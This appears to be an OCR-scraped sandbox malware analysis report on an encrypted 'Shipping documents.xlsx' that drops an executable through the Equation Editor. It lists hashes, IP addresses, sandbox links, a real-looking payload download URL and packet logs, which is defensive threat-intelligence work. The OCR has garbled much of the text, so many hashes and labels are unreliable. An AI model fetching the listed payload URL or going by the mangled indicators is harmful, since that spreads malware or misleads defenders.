Associated Sample Name /| URL SHA 256
Get hash

Get hash

Get hash
Get hash
Get hash
Get hash

=

Get hash

Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Get hash
Get hash
Get hash
Get hash

EY

Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

_
hitp/;
_
hitp/;
hitp/;
_

Detection

malicious

malicious

malicious
malicious
malicious
malicious

malicious

malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

malicious
malicious
malicious
malicious
malicious
malicious

malicious

malicious
malicious
malicious
malicious
malicious

malicious

malicious
malicious
malicious
malicious
malicious
malicious

malicious

Link

Browse

Browse

Browse
Browse
Browse
Browse

Browse

Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Browse
Browse
Browse
Browse
Browse
Browse

Browse

Browse
Browse
Browse
Browse
Browse

Browse

Browse
Browse
Browse
Browse
Browse
Browse

Browse

Context

e 34.209.19.120

13.224.93.119

52.58.78.16
52.58.78.16
54.179.174.132
44.236.48.31
13.224.93.81

13.224.89.130
52.58.78.16
78.46.235.88
78.46.235.88
78.46.235.88
78.46.235.88
78.46.235.88
78.46.235.88

78.46.235.88
78.46.235.88
78.46.235.88
78.46.235.88
46.4.123.222
78.46.235.88
95.216.7.161
78.46.235.88
78.46.235.88
78.46.235.88
78.46.235.88
78.46.235.88
78.46.235.88
78.46.235.88
162.159.138.81

104.18.54.93
104.18.35.76
104.23.98.190
104.18.49.20
104.24.126.89
104.28.14.54
104.16.18.94

104.16.19.94
104.24.126.89
104.26.2.247
23.227.38.74
104.24.126.89
104.16.18.94

23.227.38.74
104.18.62.178
104.20.23.46
104.18.48.20
104.18.32.47
104.20.23.46
66.96.162.129
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https://view.joesandbox.com/analysis/240606/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/240606/html/none?idtype=webid
https://view.joesandbox.com/analysis/240603/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/240603/html/none?idtype=webid
https://view.joesandbox.com/analysis/240596/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/240596/html/none?idtype=webid
https://view.joesandbox.com/analysis/240595/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/240595/html/none?idtype=webid
https://view.joesandbox.com/analysis/240593/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/240593/html/none?idtype=webid
https://view.joesandbox.com/analysis/240572/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/240572/html/none?idtype=webid
https://view.joesandbox.com/analysis/240565/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/240565/html/none?idtype=webid
https://view.joesandbox.com/analysis/240556/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/240556/html/none?idtype=webid
https://view.joesandbox.com/analysis/240531/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/240531/html/none?idtype=webid
https://view.joesandbox.com/analysis/241532/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/241532/html/none?idtype=webid
https://view.joesandbox.com/analysis/241530/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/241530/html/none?idtype=webid
https://view.joesandbox.com/analysis/241529/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/241529/html/none?idtype=webid
https://view.joesandbox.com/analysis/241527/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/241527/html/none?idtype=webid
https://view.joesandbox.com/analysis/241502/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/241502/html/none?idtype=webid
https://view.joesandbox.com/analysis/241499/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/241499/html/none?idtype=webid
https://view.joesandbox.com/analysis/241490/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/241490/html/none?idtype=webid
https://view.joesandbox.com/analysis/241487/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/241487/html/none?idtype=webid
https://view.joesandbox.com/analysis/241458/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/241458/html/none?idtype=webid
https://view.joesandbox.com/analysis/241455/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/241455/html/none?idtype=webid
https://view.joesandbox.com/analysis/241443/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/241443/html/none?idtype=webid
https://view.joesandbox.com/analysis/241427/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/241427/html/none?idtype=webid
https://view.joesandbox.com/analysis/241426/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/241426/html/none?idtype=webid
https://view.joesandbox.com/analysis/241423/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/241423/html/none?idtype=webid
https://view.joesandbox.com/analysis/241413/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/241413/html/none?idtype=webid
https://view.joesandbox.com/analysis/241407/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/241407/html/none?idtype=webid
https://view.joesandbox.com/analysis/241402/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/241402/html/none?idtype=webid
https://view.joesandbox.com/analysis/241399/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/241399/html/none?idtype=webid
https://view.joesandbox.com/analysis/241396/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/241396/html/none?idtype=webid
https://view.joesandbox.com/analysis/241393/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/241393/html/none?idtype=webid
https://view.joesandbox.com/analysis/241431/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/241431/html/none?idtype=webid
https://view.joesandbox.com/analysis/241412/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/241412/html/none?idtype=webid
https://view.joesandbox.com/analysis/241295/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/241295/html/none?idtype=webid
https://view.joesandbox.com/analysis/241281/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/241281/html/none?idtype=webid
https://view.joesandbox.com/analysis/241264/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/241264/html/none?idtype=webid
https://view.joesandbox.com/analysis/241259/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/241259/html/none?idtype=webid
https://view.joesandbox.com/analysis/241219/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/241219/html/none?idtype=webid
https://view.joesandbox.com/analysis/241164/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/241164/html/none?idtype=webid
https://view.joesandbox.com/analysis/241158/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/241158/html/none?idtype=webid
https://view.joesandbox.com/analysis/241130/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/241130/html/none?idtype=webid
https://view.joesandbox.com/analysis/241129/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/241129/html/none?idtype=webid
https://view.joesandbox.com/analysis/241123/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/241123/html/none?idtype=webid
https://view.joesandbox.com/analysis/241106/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/241106/html/none?idtype=webid
https://view.joesandbox.com/analysis/241087/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/241087/html/none?idtype=webid
https://view.joesandbox.com/analysis/241064/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/241064/html/none?idtype=webid
https://view.joesandbox.com/analysis/241059/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/241059/html/none?idtype=webid
https://view.joesandbox.com/analysis/241057/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/241057/html/none?idtype=webid
https://view.joesandbox.com/analysis/241049/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/241049/html/none?idtype=webid
https://view.joesandbox.com/analysis/241046/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/241046/html/none?idtype=webid
https://view.joesandbox.com/analysis/241045/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/241045/html/none?idtype=webid
https://view.joesandbox.com/analysis/241039/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/241039/html/none?idtype=webid

Match

Associated Sample Name /| URL SHA 256 Detection Link Context
_ Get hash malicious Browse e 65.254.248.145
_ Get hash malicious Browse e 66.96.162.143
_ Get hash malicious Browse e 66.96.162.128
_ Get hash malicious Browse e 66.96.162.138
_ Get hash malicious Browse e 66.96.162.141
_ Get hash malicious Browse e 65.254.248.145
Get hash malicious Browse e 66.96.147.105
_ Get hash malicious Browse e 65.254.250.119
hitp:/, Get hash malicious Browse e 66.96.149.32
_ Get hash malicious Browse e 207.148.24
8.143
_ Get hash malicious Browse e 66.96.162.147
_ Get hash malicious Browse e 209.59.199.129
_ Get hash malicious Browse e 209.59.199.129
_ Get hash malicious Browse e 209.59.199.129
_ Get hash malicious Browse e 209.59.199.129
_ Get hash malicious Browse e 209.59.199.129
_ Get hash malicious Browse e 209.59.199.129
_ Get hash malicious Browse e 66.96.162.147
_ Get hash malicious Browse e 66.96.162.146

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:
Antivirus:
Reputation:

|IE Cache URL:

Preview:

C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
downloaded

478720

7.699517779790953

false
12288:g0b4JO3QrN2iNXxHqSqgi+owWODVm4q3ntt8LF:Lb4JO3yN1VxHsphm4wr8
FD09F4D0B2373B9634F2D8AD2F5C899D
8074CD001665B9CA3FD0392CB74F8525D915A812
F592906B568C6138386673B45EBACBEC69CC736394C29BE98FBB1925A39CF23A

B96DAC273A50EDO7FC615CBAB935DF508D18EAG084A35D9AC85B580E8B43B2A40354F5B572836E8A438763F92861EDF6B57BFCODAEDSAAG55B7785E090DE25
3

true
e Antivirus: ReversingLabs, Detection: 29%

low

hitp://216.170.126.121/hkcmd/vbc.exe

C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\19D007AA.jpeg

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:

Copyright null 2020

C:\Program Files\Microsoft Office\Office l4\EXCEL.EXE

gd-jpeg v1.0 (using 1JG JPEG v80), quality = 90", baseline, precision 8, 700x990, frames 3
dropped

48770

7.801842363879827

false

768:uLgWImQ6AMqTeyjskbJeYnrizvApugsiKi7iszQ2rvBZzmFz3/soBgZhsglgDQPT:uLgY4MgTeywVYr+0ughDTzQ27A3UXsgf
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https://view.joesandbox.com/analysis/240596/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/240596/html/none?idtype=webid
https://view.joesandbox.com/analysis/240591/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/240591/html/none?idtype=webid
https://view.joesandbox.com/analysis/240581/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/240581/html/none?idtype=webid
https://view.joesandbox.com/analysis/240516/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/240516/html/none?idtype=webid
https://view.joesandbox.com/analysis/240450/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/240450/html/none?idtype=webid
https://view.joesandbox.com/analysis/240405/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/240405/html/none?idtype=webid
https://view.joesandbox.com/analysis/240254/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/240254/html/none?idtype=webid
https://view.joesandbox.com/analysis/239573/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/239573/html/none?idtype=webid
https://view.joesandbox.com/analysis/239530/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/239530/html/none?idtype=webid
https://view.joesandbox.com/analysis/237195/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/237195/html/none?idtype=webid
https://view.joesandbox.com/analysis/232797/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/232797/html/none?idtype=webid
https://view.joesandbox.com/analysis/231427/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/231427/html/none?idtype=webid
https://view.joesandbox.com/analysis/231403/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/231403/html/none?idtype=webid
https://view.joesandbox.com/analysis/231364/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/231364/html/none?idtype=webid
https://view.joesandbox.com/analysis/231135/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/231135/html/none?idtype=webid
https://view.joesandbox.com/analysis/231093/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/231093/html/none?idtype=webid
https://view.joesandbox.com/analysis/231087/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/231087/html/none?idtype=webid
https://view.joesandbox.com/analysis/230183/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/230183/html/none?idtype=webid
https://view.joesandbox.com/analysis/229835/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/229835/html/none?idtype=webid

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\19D007AA.jpeg

MD5: AA7A56E6A97FFA9390DA10A2ECOC5805

SHAL: 200A6D7ED9F485DD5A7BID79B596DE3ECEBD834A

SHA-256: 56B1EDECC9A282A9FAAFD95D4D9844608B1AE5CCC8731F34F8B30B3825734974

SHA-512: A532FE4C52FED46919003A96B882AE6F7C70A3197AA57BD1E6GE917F766729F7C9C1261C36F082FBE891852D083EDB2B5A34B0A325B7C1D96D6ES8BOBED6C57¢E
Malicious: false

Reputation: moderate, very likely benign file

Preview:

R.. .
...QE.&(KE.jZ(..QE.......... R (o QE.&(KE oo (oo (oo W BF N B AW N EL)(ooZ) (oo Z)(n

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\8B71DA3C.emf

Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

File Type: Windows Enhanced Metafile (EMF) image data version 0x10000

Category: dropped

Size (bytes): 1099960

Entropy (8bit): 2.015324823856431

Encrypted: false

SSDEEP: 3072:mXtr8tV3Igf4ZdAt06J6dabLro2W2qtX2cy:0ahlFdyiaT2qtXw

MDS5: 0579C6F9CBF859BB8D027309ACBD8291

SHA1L: 52DF5DC83F6FF6D305A77B8EA9A442643BA0A1CD

SHA-256: F88600367AAC384B1203C2CF056EAB16CE107CFD3D824BF7796DB041D8938481
SHA-512: D2B2B2E3DEF0184F5D8ED136B769568980ADB7834923BD220B4517423639780B2E4B04F68409C11743BAD32C8D738D8CFI04FB89C69626E73102663836B845F8
Malicious: false

Reputation: low

Preview:

C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\C197FDOD.jpeg

Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

File Type: gd-jpeg v1.0 (using 1IG JPEG v80), quality = 90", baseline, precision 8, 700x990, frames 3

Category: dropped

Size (bytes): 48770

Entropy (8bit): 7.801842363879827

Encrypted: false

SSDEEP: 768:uLgWImQ6AMqTeyjskbJeYnrizvApugsiKi7iszQ2rvBZzmFz3/soBqzhsglgDQPT:uLgY4MqTeywVYr+0ughDTzQ27A3UXsgf
MDS5: AATA56E6A97FFA9390DA10A2ECOC5805

SHA1L: 200A6D7ED9F485DD5A7B9D79B596DE3ECEBD834A

SHA-256: 56B1EDECC9A282A9FAAFD95D4D9844608B1AESCCC8731F34F8B30B3825734974

SHA-512: A532FEAC52FED46919003A96B882AE6F7C70A3197AA57BD1E6GE917F766729F7C9C1261C36F082FBE891852D083EDB2B5A34B0A325B7C1D96D6ES8BOBED6CS7¢E
Malicious: false

Reputation: moderate, very likely benign file

Preview:

LM1A.Qa."q.2... #B..R..$3b %&'()*456789: CDEFGHIISTUVWXYZcdefghijstuvwxyz..
...... 11..AQ.aq."2...B.... #3R..br...$4.%.... & ()*56789: CDEFGHIJSTUVWXY Zcdefghijstuvwxyz
2.Re.(c.(ce.(oen 3N (o P.EP.GI(..(....Q@ . %-...(........P.QKE %........;.R.@.E-...(......P.QKE.Z(...QE.......... h...(...QE.&(KE.JZ(...QE.......... h...(
R (o QE.&(KE oo (oo (oo W BFNL B AW N EL) (oo Z) (oo Z)(.n

...QE.&(KE.jZ(..QE

Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

File Type: data

Category: dropped

Size (bytes): 330

Entropy (8bit): 1.4377382811115937

Encrypted: false

SSDEEP: 3:vZ/IFFDIwW2fj/FFDJIw2fV:vBFFGaFFGS

MDS5: 96114D75E30EBD26B572C1FC83D1D02E

SHA1L: A44EEBDASEB09862AC46346227F06F8CFAF19407

SHA-256: 0C6F8CFOE504C17073E4C614C8A7063F194E335D840611EEFA9E29C7CED1A523

SHA-512: 52D33C36DF2A91E63A9B1949FDC5D69E6A3610CD3855A2E3FC25017BF0A12717FC15EBBAC6113DC7D69CO6AD4AB3FAFOF021AD7C8D30600AA8168348BDOFAS
0

Malicious: true
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Reputation: moderate, very likely benign file
Preview:
.user LALDUS user VAlbuso oo
o G
Process: C:\Program Files\Common Files\Microsoft Shared\ EQUATION\EQNEDT32.EXE
File Type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category: dropped
Size (bytes): 478720
Entropy (8bit):  7.699517779790953
Encrypted: false
SSDEEP: 12288:g0b4JO3QrN2iNXxHgSqi+owWODVm4q3ntt8LF:Lb4JO3yN1VxHsphm4wr8
MD5: FDO9F4D0B2373B9634F2D8AD2F5C899D
SHA1L: 8074CD001665B9CA3FD0392CB74F8525D915A812
SHA-256: F592906B568C6138386673B45ESACBEC69CC736394C29BE98FBB1925A39CF23A
SHA-512: B96DAC273A50EDO7FC615CBAB935DF508D18EAG084A35D9AC85B580E8B43B2A40354F5B572836E8A438763F92861EDF6B57BFCODAEDSAAGS55B7785E090DE25
3
Malicious: true
Antivirus: e Antivirus: ReversingLabs, Detection: 29%
Reputation: low
Preview:

Static File Info

General

File type: CDFV2 Encrypted

Entropy (8bit): 7.961115643227587

TriD: e Generic OLE2 / Multistream Compound File

(8008/1) 100.00%

File name: Shipping documents.xlsx

File size: 201728

MDS5: ¢3524b3b21dae7ebf0d9ed6b6c10f5ec

SHA1L: 72ebb819703693105a86d206a119f88821c84b54

SHA256: aab610173afefde94cf914948a54deld63b71475cdd0d9bb
18e6f01d67a2076a9

SHA512: ©28890f1f94b1cd647cce3c34cfc6e718133892f358b85d
c47555ca2a231dbf1bd3934cbf16d21d6988827e052b604
b43d2ddc41e1f7649d7dfb2c4241d53056

SSDEEP: 6144:EMmMGaiwsWbHBOG75ZYNQVtNzhXMcRqity3:E

File Content Preview:

File Icon

MhAbhOG75ZYOV+cVE

>

Icon Hash: ede2aaBaadb4bcb4
Static OLE Info

General

Document Type: OLE

Number of OLE Files: 1

OLE File "Shipping documents.xIsx"
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Indicators

Has Summary Info: False
Application Name: unknown
Encrypted Document: True
Contains Word Document Stream: False
Contains Workbook/Book Stream: False
Contains PowerPoint Document Stream: False
Contains Visio Document Stream: False

Contains ObjectPool Stream:
Flash Objects Count:

Contains VBA Macros: False

Streams

Stream Path: \x6DataSpaces/DataSpacelnfo/StrongEncryptionDataSpace, File Type: data, Stream Size: 64

General

Stream Path: \x6DataSpaces/DataSpacelnfo/StrongEncryptionDataSpace

File Type: data

Stream Size: 64

Entropy: 2.73637206947

Base64 Encoded: False

Data ASCIl: 2...S.t.r.o.n.g.E.n.c.r.y.p.t.i.o.n.T.r.a.n.s.f.o.r.m

Data Raw: 08 00 00 00 01 00 00 00 32 00 00 00 53 00 74 00 72 00 6f 00 6e 00 67 00 45 00 6e 00 63 00
7200 79 00 70 00 74 00 69 00 6f 00 6e 00 54 00 72 00 61 00 6e 00 73 00 66 00 6f 00 72 00
6d 00 00 00

Stream Path: \x6DataSpaces/DataSpaceMap, File Type: data, Stream Size: 112

General

Stream Path: \x6DataSpaces/DataSpaceMap

File Type: data

Stream Size: 112

Entropy: 2.7597816111

Base64 Encoded: False

Data ASCIl: hoooooo o ...E.n.c.r.y.p.t.e.d.P.a.c.k.a.g.e.2...S.t.r.c
.n.g.E.n.c.r.y.p.t.i.o.n.D.a.t.a.S.p.a.c.e...

Data Raw: 08 00 00 00 01 00 00 00 68 00 00 00 01 00 00 00 00 00 00 00 20 00 00 00 45 00 6e 00 63 00

7200 79 00 70 00 74 00 65 00 64 00 50 00 61 00 63 00 6b 00 61 00 67 00 65 00 32 00 00 00
5300 74 00 72 00 6f 00 6e 00 67 00 45 00 6e 00 63 00 72 00 79 00 70 00 74 00 69 00 6f 00
6e 00 44 00 61 00 74 00 61 00 53 00 70 00 61 00 63 00 65 00 00 00

Stream Path: \x6DataSpaces/Transforminfo/StrongEncryptionTransform/\x6Primary, File Type: data, Stream Size:

200

General

Stream Path: \x6DataSpaces/TransformInfo/StrongEncryptionTransform/\x6Primary

File Type: data

Stream Size: 200

Entropy: 3.13335930328

Base64 Encoded: False

Data ASCII: X L...{.F.F.9.A.3.F.0.3.-.5.6.E.F.-.4.6.1.3.-.B.D.D.5.-
5.A.4.1.C.1.D.0.7.2.4.6.}.N...M.i.c.r.o.s.o.f.t...C.o.n.t.a.i.n

e.r...E.n.c.r.y.p.t.i,o.n.T.r.a.n.s.f.o.r.m........ ... ...
Data Raw: 58 00 00 00 01 00 00 00 4c 00 00 00 7b 00 46 00 46 00 39 00 41 00 33 00 46 00 30 00 33 00

2d 00 35 00 36 00 45 00 46 00 2d 00 34 00 36 00 31 00 33 00 2d 00 42 00 44 00 44 00 35 00
2d 00 35 00 41 00 34 00 31 00 43 00 31 00 44 00 30 00 37 00 32 00 34 00 36 00 7d 00 4e 00
00 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 2e 00 43 00 6f 00 6e 00 74 00 61
00 69 00 6e 00 65 00

Stream Path: \x6DataSpaces/Version, File Type: data, Stream Size: 76

General

Stream Path: \x6DataSpaces/Version

File Type: data

Stream Size: 76

Entropy: 2.79079600998

Base64 Encoded: False

Data ASCII: <...M.i.c.r.o.s.o.f.t...C.o.n.t.a.i.n.e.r...D.a.t.a.S.p.a.c.e.s..
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General

Data Raw:

Stream Path: EncryptedPackage, File Type: data, Stream Size: 194696

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: Encryptioninfo, File Type: data, Stream Size: 224

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Network Behavior

Snort IDS Alerts
Timestamp Protocol SID Message
11/26/20- TCP 1201  ATTACK-RESPONSES 403 Forbidden

21:14:10.893620

Network Port Distribution

3c 00 00 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 2e 00 43 00 6f 00 6e 00 74
00 61 00 69 00 6e 00 65 00 72 00 2e 00 44 00 61 00 74 00 61 00 53 00 70 00 61 00 63 00 65
00 73 00 01 00 00 00 01 00 00 00 01 00 00 00

EncryptedPackage
data

194696
7.99819881034

True

76 8 02 00 00 00 00 00 c1 35 Ob 3b 47 4c 87 52 66 64 a6 af b6 10 89 fc 3c 12 b8 c5 d3 eb 9a
1d ab 71 7e aa 84 fe 84 7c 7c 26 af ca 00 d3 8c 4c 78 f4 c7 6 df cO 11 87 ee 36 bf e4 12 09 4a
7c¢ 540983 3cc351734a02d4 12 62 8ae0 a2 a8 dc b0 8a 38 84 0d 7e 5b 02 d4 12 62 8a
e0 a2 a8 dc b0 8a 38 84 0d 7e 5b 02 d4 12 62 8a e0 a2 a8 dc b0 8a 38 84 0d 7e 5b 02 d4 12
62 8a el a2 a8

Encryptioninfo

data

224

4.45220077

False

R $.o.. o M.i.c.r.o.s.o.f.t. .E.n.h.,
.n.c.e.d. .R.S.A. .a.n.d. . A.E.S. .C.r.y.p.t.o.g.r.a.p.h.i.c.
P.r.o.v.i.d.e.r....... Nf./{h.+.S..-....Y}v~A. h............. E2p~....

...... n.o.."Y.W.rQs$j...

04 00 02 00 24 00 00 00 8c 00 00 00 24 00 00 00 00 00 00 00 Oe 66 00 00 04 80 00 00 80 00
00 00 18 00 00 00 00 00 00 00 00 00 00 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00
7400 20 00 45 00 6e 00 68 00 61 00 6e 00 63 00 65 00 64 00 20 00 52 00 53 00 41 00 20 00
61 00 6e 00 64 00 20 00 41 00 45 00 53 00 20 00 43 00 72 00 79 00 70 00 74 00 6f 00 67 00
72006100 70 00 68 00

Source Dest
Port Port Source IP Dest IP

80 49170 23.227.38.74 192.168.2.22

Total Packets: 57

® 53 (DNS)
@ 80 (HTTP)
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TCP Packets

Timestamp Source Port Dest Port Source IP Dest IP

Nov 26, 2020 21:13:00.120197058 CET 49165 80 192.168.2.22 216.170.126.121
Nov 26, 2020 21:13:00.238229990 CET 80 49165 216.170.126.121 192.168.2.22
Nov 26, 2020 21:13:00.238399982 CET 49165 80 192.168.2.22 216.170.126.121
Nov 26, 2020 21:13:00.238950968 CET 49165 80 192.168.2.22 216.170.126.121
Nov 26, 2020 21:13:00.358699083 CET 80 49165 216.170.126.121 192.168.2.22
Nov 26, 2020 21:13:00.358763933 CET 80 49165 216.170.126.121 192.168.2.22
Nov 26, 2020 21:13:00.358804941 CET 80 49165 216.170.126.121 192.168.2.22
Nov 26, 2020 21:13:00.358838081 CET 49165 80 192.168.2.22 216.170.126.121
Nov 26, 2020 21:13:00.358850956 CET 49165 80 192.168.2.22 216.170.126.121
Nov 26, 2020 21:13:00.358875036 CET 49165 80 192.168.2.22 216.170.126.121
Nov 26, 2020 21:13:00.358915091 CET 80 49165 216.170.126.121 192.168.2.22
Nov 26, 2020 21:13:00.358969927 CET 49165 80 192.168.2.22 216.170.126.121
Nov 26, 2020 21:13:00.477036953 CET 80 49165 216.170.126.121 192.168.2.22
Nov 26, 2020 21:13:00.477102041 CET 80 49165 216.170.126.121 192.168.2.22
Nov 26, 2020 21:13:00.477142096 CET 80 49165 216.170.126.121 192.168.2.22
Nov 26, 2020 21:13:00.477180004 CET 80 49165 216.170.126.121 192.168.2.22
Nov 26, 2020 21:13:00.477229118 CET 80 49165 216.170.126.121 192.168.2.22
Nov 26, 2020 21:13:00.477277994 CET 49165 80 192.168.2.22 216.170.126.121
Nov 26, 2020 21:13:00.477298975 CET 49165 80 192.168.2.22 216.170.126.121
Nov 26, 2020 21:13:00.477334023 CET 80 49165 216.170.126.121 192.168.2.22
Nov 26, 2020 21:13:00.477379084 CET 80 49165 216.170.126.121 192.168.2.22
Nov 26, 2020 21:13:00.477421045 CET 49165 80 192.168.2.22 216.170.126.121
Nov 26, 2020 21:13:00.477473974 CET 80 49165 216.170.126.121 192.168.2.22
Nov 26, 2020 21:13:00.477495909 CET 49165 80 192.168.2.22 216.170.126.121
Nov 26, 2020 21:13:00.477545023 CET 49165 80 192.168.2.22 216.170.126.121
Nov 26, 2020 21:13:00.595695019 CET 80 49165 216.170.126.121 192.168.2.22
Nov 26, 2020 21:13:00.595763922 CET 80 49165 216.170.126.121 192.168.2.22
Nov 26, 2020 21:13:00.595803976 CET 80 49165 216.170.126.121 192.168.2.22
Nov 26, 2020 21:13:00.595844030 CET 80 49165 216.170.126.121 192.168.2.22
Nov 26, 2020 21:13:00.595880032 CET 80 49165 216.170.126.121 192.168.2.22
Nov 26, 2020 21:13:00.595927000 CET 80 49165 216.170.126.121 192.168.2.22
Nov 26, 2020 21:13:00.595973969 CET 49165 80 192.168.2.22 216.170.126.121
Nov 26, 2020 21:13:00.595995903 CET 49165 80 192.168.2.22 216.170.126.121
Nov 26, 2020 21:13:00.596033096 CET 80 49165 216.170.126.121 192.168.2.22
Nov 26, 2020 21:13:00.596076965 CET 80 49165 216.170.126.121 192.168.2.22
Nov 26, 2020 21:13:00.596102953 CET 49165 80 192.168.2.22 216.170.126.121
Nov 26, 2020 21:13:00.596129894 CET 49165 80 192.168.2.22 216.170.126.121
Nov 26, 2020 21:13:00.596160889 CET 80 49165 216.170.126.121 192.168.2.22
Nov 26, 2020 21:13:00.596203089 CET 80 49165 216.170.126.121 192.168.2.22
Nov 26, 2020 21:13:00.596227884 CET 49165 80 192.168.2.22 216.170.126.121
Nov 26, 2020 21:13:00.596277952 CET 80 49165 216.170.126.121 192.168.2.22
Nov 26, 2020 21:13:00.596290112 CET 49165 80 192.168.2.22 216.170.126.121
Nov 26, 2020 21:13:00.596338034 CET 80 49165 216.170.126.121 192.168.2.22
Nov 26, 2020 21:13:00.596348047 CET 49165 80 192.168.2.22 216.170.126.121
Nov 26, 2020 21:13:00.596388102 CET 80 49165 216.170.126.121 192.168.2.22
Nov 26, 2020 21:13:00.596405029 CET 49165 80 192.168.2.22 216.170.126.121
Nov 26, 2020 21:13:00.596443892 CET 80 49165 216.170.126.121 192.168.2.22
Nov 26, 2020 21:13:00.596460104 CET 49165 80 192.168.2.22 216.170.126.121
Nov 26, 2020 21:13:00.596487999 CET 49165 80 192.168.2.22 216.170.126.121
Nov 26, 2020 21:13:00.596517086 CET 80 49165 216.170.126.121 192.168.2.22
Nov 26, 2020 21:13:00.596560001 CET 80 49165 216.170.126.121 192.168.2.22
Nov 26, 2020 21:13:00.596577883 CET 49165 80 192.168.2.22 216.170.126.121
Nov 26, 2020 21:13:00.596606970 CET 49165 80 192.168.2.22 216.170.126.121
Nov 26, 2020 21:13:00.597809076 CET 49165 80 192.168.2.22 216.170.126.121
Nov 26, 2020 21:13:00.714837074 CET 80 49165 216.170.126.121 192.168.2.22
